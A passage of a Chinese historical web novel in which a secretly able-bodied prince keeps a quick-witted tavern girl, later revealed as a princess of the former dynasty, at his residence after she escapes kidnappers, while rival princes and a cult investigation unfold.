裴景明正让人扒开黑衣人的面巾和衣领,准备俯身查看一番,骤然听这一嗓子颇有些耳熟,他循着声音望去,只见之前扇了他一巴掌的那个丫头片子正被人架着。
“怎么回事?”裴景明直起身子问。
二七扭头一瞧,立马告状:“王爷,就是她,刚刚耍了我跟五三!”
“嗯?”
“我跟五三在此蹲守观察,突然发现那个藏人质的木屋着了火,正想前去查看究竟,就碰上了这个女的,没一会这群躺地上的黑衣人就围了上来。王爷!此人定是跟这些黑衣人是一伙的!”二七愤愤告状,声音之大、语气之怒,把他整张脸都涨红了。
“你胡说!”三三见此人颠倒黑白,气得两腿蹬他,但被人架着根本踹不到,只能在空中怒踹空气,“我明明是被抓的,你们明明看到了!”
“那我问你,”二七双手叉腰,语气十分不屑,“为什么你一来这木屋就着火?为什么你一来就能解救人质?你若不是跟他们一伙的,怎会如此顺利?你怎么解释?”
“那是因为我有脑子!”三三眼睛都要瞪出来了,怎么会有这么蠢的人!
“诶,你——”二七还想再怼,被裴景明抬手打断了。
“你究竟是何人?”裴景明缓缓推着轮椅,目测距离三三脚能踹到的地方还有一步之遥停下,开口问道。
“你管我是何人,倒是你,身为王爷,竟然不救自己的百姓,反而倒打一耙冤枉好人,不仅腿瘸了眼也瞎了。”三三虽还生气,但已经渐渐冷静了下来。
裴景明被人如此骂倒也不生气,反倒是五三气急败坏又拔了刀:“你这丫头!刚刚戏耍我二人还不够,还骂我家王爷,新仇旧恨加起来我非宰了你不可!”
三三冷笑了一声,眼神跟放冷箭似的咻咻咻往裴景明身上扎:“你这王爷身边的侍卫都是草包吧,也难怪,不是草包怎么会有你这样的主子。”
裴景明勾了勾嘴角,饶有兴趣地打量着她,正欲说什么,突然被围上来的火光晃了晃。
“前方何人!”裴文谦坐在白马上,手持长枪,可谓英姿飒爽,待看清轮椅上的人后立即下马上前:“二哥,你怎么在这啊?”
裴文谦长了一副好模样,翩翩公子,纯良无害,起初裴景明也是这么认为的,后来吃了几次亏才认清了这个弟弟。
裴景明懒洋洋往轮椅后背上一靠,笑道:“三弟来此为何,我亦是。”
裴文谦把枪丢给侍从,左右扫了扫,见被人架住的三三,惊异道:“二哥,实不相瞒,我是受城东王员外所托才来的,他在我府前守了好几日,我于心不忍,便应了他的请求帮忙寻女。今日王员外不知道从哪来的消息,说是城外的树林有异样,恳请我前来查探,我这才过来。”
他话音一转,看向三三:“你是王员外的女儿王漾小姐吗?”
三三警惕地打量了一下这人,当今皇帝只有三子,此人唤元安王为二哥,多半就是元安王的弟弟宁北王了,看这架势,这两兄弟好似不对付啊。
三三微微低头扫视了一圈,语气不卑不亢:“不是。”
“你如此肯定,你认识她?”裴文谦追问。
三三诧异地看了他一眼,这人脑子有包吧?
但还是很好心的回答了他,虽然语气中有那么一点嫌弃:“是,我们一同逃出来的,但王小姐慌乱之中不知道跑向了何处,具体往哪跑别问我,问我我也不知道。”
五三本对她并无甚好感,但见这人对宁北王的态度也是这个德行,不知道为什么就乐了,这一乐还没忍住直接笑出了声。
裴景明淡淡瞥了他一眼,五三赶紧装模作样端好表情。
“唉,竟是如此,那我——”裴文谦话还没说完,就被赶来的许微澜打断了。
“珩清!”许微澜抓紧绳子勒住了胯下骏马疾驰的脚步,因为动作突然,马儿前蹄仰起,差点将他甩了下去,但他看起来不以为然,甚至脸上充满了得意,“看我们找到了谁。”
裴景明调转轮椅方向,只见许微澜身后的捕快带着两三个看起来灰扑扑的女子。
三三扫了一眼就发现是同她关在一起的那几个农家女子。
“珩清,我来的路上发现了这几个女子,一问竟然是逃出来的人质,哈哈哈哈——”许微澜下马就一路笑了过来,“诶,宁北王也在啊。”
此人演戏真是一把好手,模样之诧异,好似之前在元安王府上头疼的人不是他一般。
裴文谦笑着点点头,口张开了话还没出来,许微澜就转身问起三三:“诶,这女子也是被绑的吗?还是——”
三三实在是没力气再跟这人周旋了,言简意赅道:“我是被绑的良民,因为我有脑子,所以率领被绑的女子放火烧了那贼窝,逃了出来。”
许微澜眼睛本就圆,这下瞪得更圆了,他连连后退几步,站在裴景明身边弯下腰耳语:“珩清,我问过那几个逃出来的人质,跟此人说的相差无几。”
裴景明这下终于正眼看她了。
能够率领被绑的女子自救,二七还说这女子耍了他们,看来这人有点意思。
虽说看起来有点不讲理,但仔细一想好像人家确实说的是实话,只是话有点难听而已。
三三见裴景明看过来,龇牙咧嘴地瞪了回去。
裴景明本来不想笑
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的,被她这一瞪却勾了勾嘴角。
“既如此,敢问姑娘芳名?不知道能不能跟我回去见一见王员外?”裴文谦没听到叶微澜的耳语,但这女子说她认识王漾,把她带回去见王员外未尝不可。
“我无大名,就叫三三,王小姐已经逃出去了,与其带我回去见王员外,不如现在就去找王小姐。”三三真是搞不懂这人的脑回路,王漾说不定就在附近,不去找人,带她回去作甚。
裴文谦好似恍然大悟,双手一拍就让人去找人,但还是让三三跟他回去。
“你有病啊?我为什么要跟你回去?”三三忍了又忍,还是没忍住。
”姑娘此言差矣,你率领众人逃出生天,可谓巾帼不让须眉,是英雄啊,我得回去给你请功。”裴文谦情真意切道。
“请功不用,你让他们放开我,让我走就行。”
“二哥,你看,”裴文谦微微低下身子,犹豫道,“要不让侍卫放开她吧,她身上血迹斑斑,想来也是受了伤。”
裴景明先前就看出了她胳膊受伤,但碍于此人脾气之暴烈,他也就没让人松开。
许微澜算着时间,他跟张思齐兵分两路,此刻应该差不多到了。
“三皇子殿下,您要找的王小姐快来了。”许微澜神神在在道。
“许少卿何出此言?”
许微澜不语,只神秘一笑。
只见马蹄声阵阵,火光炎炎,张思齐率领的捕快跟先前的叶微澜一般中间围着几个女子,朝着这边疾步赶来。
“刑部张思齐,见过两位王爷。”张思齐动作迅速,下马行礼一气呵成。
裴文谦朝那几个女子一看,一眼就瞧见了身着粉衫的王漾。
“敢问姑娘可是王漾小姐?”裴文谦问。
王漾脸上如花猫一般,闻言抬头脚步微动,声音中带着哭腔:“我是我是,你是我爹派来救我的吗?”
裴文谦赶紧递了帕子过去,低声安慰道:“王小姐,你没事便好,确实是你爹托我来找你的。”
王漾接过帕子,道了声谢,微微侧身哭了起来。
许微澜见状赶紧出声:“既然殿下找到了要找的人,那就请自便吧,余下这些人质我们都要一并带回去详细询问一番。”
裴文谦来回看了看三三和王漾,最终目光落向了轮椅上的裴景明:“二哥,真不能让我带三三姑娘回去论功行赏吗?”
裴景明手撑着额角,笑道:“此案由许大人和张大人督办,我无权决定任何人的去留。”
裴文谦看了他一会,最终什么都没说,让人将王漾扶上马便走了。
这人来的浩浩荡荡,走的也浩浩荡荡。许微澜见人走远了,长舒了一口气。
“这三三?”许微澜低声问道。
裴景明嗯了一声。
“裴文谦那么执着带她走干嘛?”
“暂且不明,”裴景明看了眼三三,“你们带她走的话,裴文谦可能会三不五时地找上门,做好心理准备吧。”
张思齐忍不住偷偷打量起三三,此女子是何来头?
“不行!”许微澜一下子拔高了声音,见众人都看向了他,不自在地清了清嗓子,“我看这人身受重伤,且放火一事还有待调查,还是劳烦王爷先代为看守吧,我等也好集中精力去询问其他人。”
说着还使劲朝张思齐使眼色。
张思齐一下没跟上,也学着他挤眉弄眼,半响恍然大悟。
“对对对,没错没错,还请王爷帮帮忙。”
裴景明没拒绝也没答应,过了好一会才故作为难道:“那行吧,既然二位大人如此请求,我也不好拒绝,五三,把三三姑娘带回府上治疗。”
五三得令立马过去押着三三。
三三见这几人三言两语就决定了自己的去处,本以为逃出来就可以回去了,没想到竟然半路又被抓了,登时怒不可遏:“你抓我干什么?凭什么抓我?我是受害人知不知道?!”
裴景明语气温和:“姑娘别激动,不是抓你,保护你而已。”
三三张口就想还嘴,猝不及防被五三一劈,眼前一黑就晕了过去。
5. 连夜跑书铺
元安王府。
裴景明吃完早点就让人摆了躺椅在院子里晒太阳,今日天好,但在太阳底下晒着,北风一吹还是有点寒意。
十一抖开狐裘大衣正要给他盖上,裴景明就睁开了眼。
“查清了?”裴景明接过大衣自己盖好。
十一点点头。
“那女子确实叫三三,是来财酒楼老板娘多年前收养的,此人有些江湖义气,据其他被绑的女子所说,这人被绑的时候身负重伤,只是观察了几次窗口外黑衣人巡视的情况就能想出放火这一计来逃生,”虽然此前对三三印象不好,但说到此处十一也还是有些佩服她的,“她应该是会武功,五三和二七跟她交过手,已经验证了。”
裴景明闭着眼,日光洒在他脸上,瞧着有些暖意。
见他没有发问,十一继续汇报:“那些自杀的黑衣人胳膊上都有刺青,应是死士,已经让人去查那刺青的来历了。另外,宁北王确实是受王员外所托去找王漾,据探子报,王员外自女儿失踪的第二日就想尽了办法去跟其他官员谈交情,但是无果,后来偶然碰到了宁北王的小厮去酒楼喝酒,经小厮指点,才日日去宁北王府求见宁北王,这才有了后来的事情。”
裴景明仍旧闭着眼,但嘴角的笑意很明显。
“经小厮指点?”他睁开眼,睫毛在日光照射下垂出阴影,“真有意思,偶然不见得,应是故意为之。”
十一犹豫了下:“故意?”
日光刺眼,裴景明抬手放在额头上略微遮挡:“王员外到处求人的事情他肯定是知道了,才让人故意去酒楼偶遇,不然他怎么会那么好心去帮人寻女儿?”
“可宁北王这是为何?”
“不知,再观察观察吧,这人无利不起早,”裴景明放下手,再次闭上眼,“那三三如何了?”
“如何?不如何,快点放我走!”三三怒目而视前来问询的许微澜,“我已经配合大人你问询好几次了,想必该问的也已经问清楚了,继续软禁我在这是什么意思?”
许微澜连连摆手:“三三姑娘,不是软禁,并非软禁啊!我们这是为了你的安全着想,你伤还没好呢。”
三三双手抱拳:“不劳挂心,我伤已好,该配合的我也配合了,还请大人放我归去。”
许微澜见她就要出门,赶紧张开双手挡在门前。
“三三姑娘,酒楼那边我们已经只会你的养母了,你大可放心在此养伤,”许微澜苦口婆心道,“那日你也见了,那宁北王就是想利用你去邀功,你今日踏出了元安王府,明日就会被宁北王带走,被他带走可不是什么好事啊!”
三三冷哼了一声:“宁北王想利用我,难道你们就不是吗?”
许微澜赶紧摆手:“此言差矣,我们可不是什么利用你,只是在那些死士身上查到了些线索,怕幕后之人对你不利,所以才让你留在王府。”
“什么线索?为什么会对我不利?”三三本是抱着胳膊斜身对他,一听这话立马正过身来。
“三三姑娘啊,你看,你不仅放火烧了那群贼人的窝点,还把他们的祭祀用的女子都给放了,虽然那日黑衣人都自杀了,但幕后真凶尚未落网,背后究竟有多少人也不清楚,你觉得他们能放过你吗?”许微澜模样恳切,“你就听我的,安心在这待着吧,等我们抓到真凶,你就可以回酒楼了。”
三三狐疑地打量着他,似是在思考他的话。
许微澜被她打量得心里发毛,那番话都是裴景明让他说的!说什么一定要让她留在这,如果她不肯就搬出这套说辞。
裴景明只说了这人防备心重,也没说这人不好惹啊!许微澜一介文弱书生,他是真怕被揍。
半响,三三似是相信了他,语气稍微缓和了点:“大人说的不无道理,既如此,那我就在这住下了。只是烦请大人辛苦,早日破此案,我还得回酒楼打工还债呢。”
许微澜见她心态已然平和,不似刚刚那般看上去一言不合就要揍他,顿时踏实了不少,又跟三三闲聊了两句才走。
三三被安置在王府后院的厢房,庭院里的花草不少,即使在冬日,也有些还是如春日般鲜嫩翠绿,不知是何名贵品种。东西连廊上下人们都在打扫,见许微澜路过时都会停下来行礼。
三三没关门,装模做样地送了送许微澜,借此机会环视了一圈。
东西连廊上各有一个圆拱墙,围墙算不上高,对她来说稍微一跃就能出去,只是不知道墙后面是外面还是通往另一个厢房。
院子里栽了许多桂花树,风一吹就能闻到很浓烈的桂花香。三三动了动鼻子,身体不自觉地跟着香味而走。
“姑娘可是在寻香?”一个拎着洒水壶的侍女见三三如此动作,停下了手中浇水的动作。
三三揉了揉鼻子,笑了笑:“是啊,姐姐,这桂花香很是浓烈,不知是哪种桂花啊?我还是第一次闻到这么香的桂花味呢。”
“你说的应该是金桂,王府里栽了金桂、丹桂和四季桂,其中数这金桂香气最为浓烈持久。你往东边走,穿过那圆拱墙就能看到金桂了。”
三三面上一副受教了的模样,连连道谢,旋即马不停蹄地往东边去了。
寻香是假,摸路才是真的。
三三装着寻香的模样骗过了好几个狐疑打量她的侍女,转了东边又逛了西边,从午后溜达到了日暮西山,回来时还装模作样地手捧了点掉落地上的桂花。
三三边走边记,这王府后院分为东西两边,东边是那元安王所住的地方,她现在住的是西边靠后的客房,客房东边那棵金桂所在的地方又靠近街道,她今日特地在那棵桂花树边捡花听声,若是没猜错,午时叫卖声最响的应该就是那个长安街上卖羊肉胡饼的老板!
她之前去给卢大人送酒路过,本来不想买的,奈何那饼实在太香了,她送酒回去的路上本就饿,根本耐不住,一下子买了两个吃呢,就是吃完了那胡饼,没多久就遇上了那元安王。
三三摸清了基本情况,心里隐隐有了计划,心情颇好,这几日伤也养得差不多了,不出意外,今夜就能逃走。
她轻轻抛了抛手里的桂花,脚刚踏进房门,就被那瘸腿王爷给吓了一跳。
“你怎么在这?”
裴景明拢了拢身上的袍子,语气温和:“我听许大人说三三姑娘伤好得差不多了,过来看看是不是真的。”
三三没有立即回答,倒是对方又开了口。
“今年院子里的桂花开得好,姑娘也是爱花之人?”
三三把那碎花往桌上一放,冷淡道:“算不上爱花之人,只是太香了,忍不住去找找是什么花。”
裴景明扫了一眼桌上的碎花,笑了笑:“姑娘若是喜欢,可以直接摘。”
三三眉心微动,但没有作答。
裴景明见她不欲多言,也不强求,让十一把厨房炖的羊肉汤给端了上来就走了。
“最近天寒,今日杀了羊,给姑娘留了份。”裴景明转过轮椅的同时留下了这句话。
三三盯着那羊肉汤,色泽清亮,香味扑鼻。
今夜无雪,月亮高悬,周边无云,院子里铺满了银华。
裴景明手里抱着汤婆子,不知道为什么想到了那碎花。母妃生前喜爱桂花,年少时他也曾不舍折枝,只捡地上掉落的碎花。
“王爷,我看这边的院子人手少了些,要不要多派点人来守?”
裴景明闻言,从回忆中抽身。
“不用,今夜她吃饱喝足就会走,暗中跟着她,小心点别被发现了。”
十一惊异得推轮椅的动作都停了下来:“啊?那就这么放她走了?”
裴景明不语,提醒他赶紧推车回房。
三三喝完那一大碗羊肉汤,整个人都暖洋洋的。说实话,这还是她长这么大第一次吃到这么好喝的汤,吃到这么大块的肉呢。
其实这个元安王也算是个人吧?虽然腿瘸眼瞎的,但他也没有假公济私去报复她第一次扇他巴掌的仇。但话又说回来,他不顾她意愿非把她带回来这事做的也不是很好,虽然治好了她伤,勉强功过相抵吧,三三想,道不同,还是远离比较好。
三三起身绕着屋子溜达了一会,她轻轻打开窗户,见周遭安静,又抬头看那高悬于空中的明月,算算时辰,现在约莫子时了。
三三抬脚踩在窗边,轻轻一跃就翻身出来反手关好了窗户
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好在今夜月光明亮,她按着白日里摸索的路径轻手轻脚绕到了东边那金桂的墙下,本想借力那桂花树蹬上墙头,不知为何迟疑了会。
正犹豫着,一低头又发现了墙脚不知道何时多出了几坛废弃的酒坛子。
这是何时放的?今日她好像没看到吧?
三三疑窦丛生,伸手就想去摸那坛身,但墙外突然传来了更夫的打更声,吓了她一跳。
三三躲在桂花树后警惕地环顾了四周,待更夫的声音越来越远,便脚踩那坛子几步跃上墙头,身如轻燕一般转眼消失。
街上安静无比,偶尔只能听到更夫敲锣报点的声音。
三三怕遇上巡逻的,不敢耽搁,脚步不停直往旧书铺去。
程书还没睡,坐在书房里望着桌上那茶水由袅袅逐渐变为寂静。
他已经好几日没有三三的消息了,虽然已经把人手都散出去找了,但传回来的消息却让他忐忑不安,三三被关在元安王府,那可是——
“嘭、嘭、嘭”门外突然传来敲门声,程书倏然抬头起身,却没有立即应答,而是专注地又听了一会。
“嘭—嘭——嘭”敲门声一长一短,程书一惊,难道是——
程书步履匆匆去开门。
三三敲门的手猝不及防落了个空,差点敲程书脸上。
“殿下!你——”程书一见她差点老泪纵横。
“诶,先生,先进屋先进屋。”三三赶紧进去,又朝东西两边看了看,见无异样便立刻关上了门。
程书将书房里的灯都点亮了。
“殿下,您用过饭了吗?厨房里还备着点饭菜,我去热热。”
三三喝了口茶,见他要去厨房,连连摆手。
“先生不必麻烦,我用过饭了。”
程书坐在另一侧,借着灯火仔细看她,见她身上无伤暗暗松了口气。
“殿下,我听街上的人说您被贼人绑了,我本是不信的,后来去酒楼打酒跟那小二套话才知道竟是真的,回来便让人去找您,”程书年过四旬,算不上老,但他少白头,加上爱留胡须,乍看还以为是七旬老人,此刻他面上忧心忡忡,更显年纪了,“只是送回来的消息却说您被元安王等人救走了,我听闻此消息,真是夜不能寐啊,生怕他知道您的真实身份,对您不利。”
三三跑了挺久,口渴得很,边听他说边猛猛灌茶水。
“先生放心,”三三抹了把下巴上的溢出的水渍,“他们暂时不知我身份,都以为我是酒楼打工的呢。”
三三又把被贼人掳走之后的事情一一告诉了程书。
程书越听眉头皱得越紧。
“贼人宁可死也不投降招供,说明是死士,”程书下意识地捋起了胡须,“女子祭祀,还讲究十全十美,有点像二十年前那个通天教。”
“通天教?”三三疑惑地歪了歪头。
“嗯,”程书突然又想到了什么,面上透着担忧,“殿下此次烧了他们窝点,中断了他们的祭祀,这些人定不会轻易罢休,恐会对您再次下手。”
“那个许微澜也是这么说的,”三三一下子就想到了今日许微澜那番话,若有所思,“他让我待在元安王府,说那里安全。”
程书捋着胡须没有出声,这是他思考时的习惯。三三见状,左手撑着下巴,也不出声,右手手指轻轻搭在腿上交替敲着。
寂静中偶闻虫鸣。
约莫过了半晌,程书终于开口了,声音略微低沉:“殿下,许微澜说的不无道理,如今您对外的身份是普通百姓,他们在明保护,我们在暗保护,这对您来说比较安全。”
“嗯,我也是这么想的,不然我偷偷跑了,他们肯定会怀疑我的,”三三停下敲腿的动作,“回去待着,说不定还能打听点消息。”
“您要介入此事吗?”程书拿不准她的打听是何意。
三三伸出右手食指左右摆了摆:“先生多虑了,我的意思是静观其变。”
程书点点头,起身到院子里看了看天。
“殿下,快寅时了,您还是先回去吧。”
三三一听已经这时辰,赶紧跟程书告别回去,她还要睡觉的!
6. 进宫见皇帝
“王爷,那个三三又回来了。”十一见裴景明坐在餐桌前吃早点,上前替他添了碗豆浆。
裴景明手里搅拌的勺子停了会,挑了挑眉,果然如他所料。
“嗯,知道了,好吃好喝招待着吧。”
“许大人那边说贼人身上纹的刺青是日月同辉的样式,结合女子祭祀,他们翻阅了大理寺的卷宗之后发现好像是二十年前的通天教,”十一把信呈上,问道,“探子传回的信息也是通天教,眼下贼人尽死,下一步该如何查?”
裴景明舀了两勺豆浆,不耐烦地撂下勺子,抬碗就是一口闷。
“三三搅了他们的祭祀,肯定会有后手,盯紧她就是了。”裴景明把豆浆喝完撂下碗,让十一推着他去院子溜达。
虽然他一直坐在轮椅上,但丝毫不妨碍他锻炼。
裴景明装模作样地在轮椅上左转手腕右抬胳膊,这边摇一下,那边动一下,约莫过了半柱香,见时机都差不多了,便让下人都下去了,由暗卫巡逻。
十一将他昔日用的佩剑呈上,退到一旁候着。
只见裴景明双腿从轮椅上迅速站立了起来,右手握剑迅速挽了个剑花,十一还没看清他就已经开始了练剑。
动作凌然,气势逼人,招招都是直奔人性命去的,谁敢想这是一个坐了好几年轮椅的人?还是太会演了,十一默默诽腹。
飒飒剑声中,无人说话,裴景明忘我地练了个痛快。
“王爷。”十一抬了个洗手盆,像根木桩一样站直了。
十一不算矮了,暗卫个个都是六尺往上,十一比六尺还要多一点,然而裴景明找起来还比十一高半个头出来。
每次只要裴景明站起来,十一心里都会有点悔恨——当年就该多吃一点的!
“王爷!王爷!”二七的嗓门堪比铜锣,还没进院隔着门都能听到他的声音,“王爷,公主来啦!”
裴景明擦脸洗手的动作倏然加快,五三从屋檐上飞奔下来推着个轮椅就往十一跟前奔去。
裴景明听着声,动作很是自然且迅速地一屁股坐下,从容地拿过狐裘大氅披在肩头。
步摇轻晃,脚步微快,裴朝朝人还未到,声却早已传入院子。
“二哥!”裴朝朝是当今皇帝唯一的女儿,也是裴家最小的一个妹妹,自幼就爱跟裴景明玩,裴景明封王立府之后,更是隔三岔五过来趁机出宫玩。
裴景明定了定神,见人已经下了梯子,微微勾了勾嘴角:“今日怎么有空过来?往常不是逢三会九才出来吗?”
裴朝朝身着红色锦绣华服,头戴如意纹步摇,眉间点了花钿,模样娇俏,这副样貌每次殿试不知迷倒多少才子,偏偏此人生性爱玩,对才子公子们的示好都视而不见。
“不然你猜猜?”裴朝朝走到五三旁边,抬眼瞅了他一眼,五三立马让开,她搭着轮椅后背就推往院子。
“这我哪猜得到?”裴景明笑了笑,拢了拢大氅,心神一动,抬眼看她,“难道是陛下让你来的?”
裴朝朝脚步停下,见旁边的翠植长得好,伸手弹了一下叶子,开心道:“二哥果然是二哥啊,就是父皇让我来通知你入宫的。”
“为何不直接让人召我进宫?”
“这就不知道了,今早去给父皇请安,他突然就允我出宫玩,只是得先帮他传个话让你进宫。”裴朝朝低头闻了闻叶子,发现没什么特殊的味道。
裴景明藏在大氅下的手微动。
“可有人跟他说了什么?”
裴朝朝眼珠转了转:“今早我去请安时,三哥刚走,不知道说了什么,只看到了杨公公送他走的背影。”
裴景明见她要摘那叶子,轻轻打了下她手:“别摘,这东西养了很久。”
裴朝朝撇了撇嘴,不给摘就不给摘!有什么了不起的!回头我也种!
裴景明见她一脸不服气,好笑道:“你每次来我府上,不是摘这个就是摘那个,手欠得很,不教训一下你就得上天。”
裴朝朝不耐烦听他唠叨,摆了摆手转身就走:“你赶紧进宫吧,我去玩了!”
“王爷?”十一身影不知何时出现在他背后,“现在就进宫吗?”
“嗯,备车去吧,看看我那个弟弟是怎么向老父亲告状的。”裴景明神情似笑非笑,与其说是笑不如说是嘲讽和不屑。
前几日刚下了场大雪,地面倒是早已被打扫得干净,只是墙头宫檐上的琉璃瓦还覆着点雪,艳阳高照下,白雪红瓦,别有一番意境。
裴景明坐在轮椅上,眼见离政务殿越来越近,不知道为何想起了多年前的那场大雪,也是这般厚雪挂墙多日不融,他在那场雪里失去了母亲。
那年冬天可真冷啊。裴景明想。
”王爷,您来了,“杨公公是跟随皇帝的老人了,很有眼力见,早早就在殿外候着了,见十一推着轮椅尚有百米之远便迎了上来,乐呵呵道,“老奴来吧,今早陛下见了公主,想着今日的折子不多,便让公主帮忙带个话让您进宫,陛下心里惦记着您呢。”
裴景明嘴角勾起,微笑弧度恰好,多一分过了,少一分显假。
“多谢公公告知,父皇近日可好?”裴景明面上一片关切。
“好着呢,就是想着您,太医来请脉的时候都会问您的腿……”杨公公突然闭上了嘴,自知言失,抬手给了自己一巴掌,低眉顺眼道,“王爷,老奴真是……”说着又要给自己掌嘴,被裴景明给拦下了。
“无妨,人尽皆知的事情罢了,无药可医我早已坦然接受,公公无须自责,”裴景明望向政务殿,笑道,“还是先见父皇吧,别让他等急了。”
杨公公连连应声,推着轮椅就往殿里走,进殿的门槛高,左右侍卫瞧见了就过来帮忙抬轮椅,十一见状便候在殿外。
明武帝一身龙纹黄袍端坐在政务殿的侧书房里,窗外的阳光斜斜照进书桌,殿里的地龙烧得火热,这点光也不知道是来送暖的还是蹭暖的。
杨公公一路推着裴景明到明武帝书房前,轻身道:“陛下,元安王来了。”
裴景明跟着他的话,微微弯腰,双手行礼,笑道:“儿臣给父皇请安了。”
明武帝嗯了一声,手上批奏折的狼嚎却是没停,吩咐道:“给他拿那盅百年老参汤来喝,朕还有几句话就写完了。”
裴景明笑了笑:“谢父皇。”
明武帝又嗯了声,便专心挥着笔唰唰唰地在奏折上批阅。
裴景明也不尴尬,双手交叠放在腿上,就那么盯着地板一动不动。
杨公公动作很快,裴景明还没来得及神游,他
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就回来了。
“王爷尝尝,这汤可是陛下亲自吩咐人做的。”杨公公脸上笑得跟朵菊花似的,褶皱多且密。
裴景明掀开盖子,闻了闻,眼底充满了笑意:“这汤可真香啊,儿臣多谢父皇!”
明武帝此时已经批完了折子,他哼了声:“香是吧,香就给朕喝完,回去歇个三五天的,别整天没事找事的净让朕头疼。”
裴景明搅着汤勺,面上无辜,一副不解的模样:“父皇何出此言?儿臣哪里找事了?”
明武帝挥了挥手,屏退左右,只留了杨公公侍奉。
“文谦都告诉我了,你不肯让那解救众人的女子来请功,还把人家软禁在府里,你这是何意啊?”明武帝头疼得揉了揉太阳穴,虽然他三个儿子,但他最为满意的就是这个二儿子,偏偏早年被人暗算坏了腿,不然他早就定下储君之位了。眼下好了,其他两个儿子为了争储君之位,真是无所不用其极,今日不是这个告状就是那个告状,告得他头疼!
裴景明慢慢喝着汤,连连喝了几口见身子暖了,放下了动作,笑道:“父皇可不能听信一家之言啊,儿臣并非软禁那姑娘,只是许大人说了,那姑娘捣毁贼人窝点,恐遭报复,现下那群贼人都自杀了,线索断了,但幕后之人还没有浮出水面,断然让那姑娘回家,怕是会遭报复啊,这才求到我头上,说大理寺刑狱早满了,姑娘家家的,也不是什么犯人,又受了伤,让我在府上安置,也好保护她。”
说完又拿起勺子继续喝汤。
明武帝见他这般,连连叹气:“当日,哎,若是,哎,算了,哎。你说的不无道理,文谦也不是不懂,就是想着这姑娘生计不好,想给她请个功日后过的好点,你觉得呢?”
那老参汤实则没什么味道,但裴景明还是喝完了。
他擦了擦嘴,思索片刻才道:“现在幕后指使还没落网,请功尚早,还是等这案子结了再论功行赏吧。父皇觉得呢?”
裴景明放下帕子,端正身子,不偏不倚地看向明武帝。
明武帝看着他这副模样,心里连连叹气,他最优秀的儿子啊!
“你说的对,文谦阅历还是少,他想加入探查这个案子,瑜宁早两天前也跟朕说了,既如此,那你也去吧,朕看看你们究竟谁能先破案。”
裴文谦想介入此案他猜到了,只是没想到裴瑜宁也想掺和进来,看来这案子有点意思啊。
裴景明双手交叠行礼应是,嘴上笑着,眼底却毫无笑意。
明武帝又拉着他聊了聊其他事情,裴景明倒是老实的说一半藏一半。
天色将晚,明武帝白日没有午休,忽觉困意袭来,便让裴景明回去了。
三三昨夜跑回来之后,累得不行,直接一觉睡到了中午,打开房门伸了个懒腰,用力吸了口新鲜空气,突然瞥见一抹红色忽闪而过。
这是谁?元安王的王妃?
她凑近昨日那个浇水的侍女,小心打听:“姐姐,刚刚我瞧见个十分貌美的女子往那金桂树方向去了,可是元安王妃啊?”
侍女浇水的动作不停,这边匀称洒了水,又给另一边匀称洒洒。
“不是呀,王爷尚未娶妻,你说的多半是公主,她经常来府上玩。”
公主?三三盯着刚刚的方向若有所思。
7. 合作把敌诱
裴景明回到府上时,夜色已然蔓延整个天幕。寒风吹过,街上的灯笼左右摇摆,烛火明灭。
五三候在王府外等着,见马车驶来,疾步上前帮忙搬轮椅。
裴景明抬眼一看发现是他,有些意外:“公主回去了?”
以往裴朝朝出宫游玩,裴景明都是让五三跟着她,虽说冬日天黑得快,但长安街那边一到夜里却是热闹的很,那丫头一般都是玩到戌时三刻才回去,眼下不过刚戌时,今日回得那么早?
十一推着裴景明进门,五三跟在身后挠挠头,模样憨厚:“公主去百花楼吃了顿饭,又到长安街上买了些吃食,本来还挺开心的,不知道怎么的一下就没了心情,就让我送她回去了。”
裴景明挑了挑眉,这又是谁招惹了她?
“哦对了,王爷,公主今日去看了那金桂,让人留了话,说想要吃桂花蜜,日后来拿。”五三本来是不记得的,但刚刚一进大门,风一吹,桂花香四溢,猛然就想了起来。
裴景明头疼得闭了闭眼,怎么又要吃桂花蜜,再这么吃下去,那棵金桂非得秃了不成。
“知道了,让厨房去做就是了。”裴景明无奈道。
“哦还有,”五三又道,“那三三今日睡到午后才起来,也没做什么,就在西边院子里溜达,她好像知道我们在盯着她。”
“嗯,知道了,”裴景明交代完五三,又让十一去烧水,“水烧热一点,今天要药浴。”
三三今天白日里没做什么,跟往常在酒楼跑东跑西的日子相比有些无聊。
她坐在院子里的石凳上,望天发呆,不知道为什么想到了白日里那个侍女说的公主。
先生曾说过,当今皇帝有三子一女,想来应该是那个了吧。
公主。
三三歪了歪头,先生也说她是公主,只不过是前朝的公主罢了。
三三望着躲在云后的月亮,思绪渐渐飘远。
“公主!老臣罪该万死啊!竟然现在才找到您!”程书白发苍苍,跪在三三面前,怆然涕下,悲伤得整个人都佝偻了起来。
彼时的三三刚刚送完酒回来,为了省时间抄了条小路,没想到路还没走一半,突然被人拦下,接着就是跪地痛哭。三三吓了一跳,连连后退几步。
她看着地上哭得悲伤不能自抑的老伯,心想是不是遇上传说中那种痴癫病人了。
三三忐忑开口:“老、老伯,你是不是认错人了啊?”
程书猛然抬头,激动道:“没有!臣绝不会认错殿下!”
三三见他如此激动,又连连后退了几步,趁机向后看了一眼,没人,要不跑吧?
程书跪在地上捏着袖子擦了擦脸,定了定神,正想说什么,抬头一看三三已然跑了,连影都没了。
他叹了口气,心想自己还是太着急了。
此后两个月,三三都不敢再走那条路了。
乌云渐散,月亮清晰可见,三三弯了弯眼。
“深夜寒冷,姑娘怎么不回房?”
裴景明不知道何时出现在了那东边的圆拱门那,虽然坐在轮椅上,但气质温和,眉目清晰,倒有点像画中人。
三三突然想到之前老板娘请来酒楼的说书人,那人经常说些才子佳人的故事,故事中的男主人公倒是都帅,就是没一个是瘸的。
三三微微偏头,假笑道:“我体热,就想吹吹寒风。”
十一推着裴景明来到石桌前,随即便退远了点,站一旁装起了木桩。
“今夜月亮倒是没有前两日的圆,”裴景明抬头看了一眼,视线又转回三三身上,笑道,“倒是姑娘伤好了,气色看着也不错。”
三三继续假笑:“王爷深夜不睡,来这是干嘛?”
裴景明见她这么直接,勾了勾嘴角,年纪看起来不大,心思却很活跃。
“我听说姑娘是来财酒楼老板娘的养女兼帮工,这几日没有回去想必收入少了,我有个活,不知道姑娘愿不愿意接?”
三三收起假笑,狐疑地打量他。这人打什么算盘呢?
裴景明靠在轮椅后背上,好整以暇地任由她打量。
他本来打算盯着三三就好,迟早能把人吊出来,但是今天皇帝的那番话让他改变了主意。
与其坐等,不如主动出击。
“我就是个酒楼帮工,没有什么本事能接王爷的活。”三三想了想,先拒绝再说。
裴景明料想到了她不会直接答应,继续温和道:“三三姑娘虽然只是个酒楼帮工,但是你之前火烧贼人救了众人,可谓是机智过人,我这个活除了你,别人接不了。”
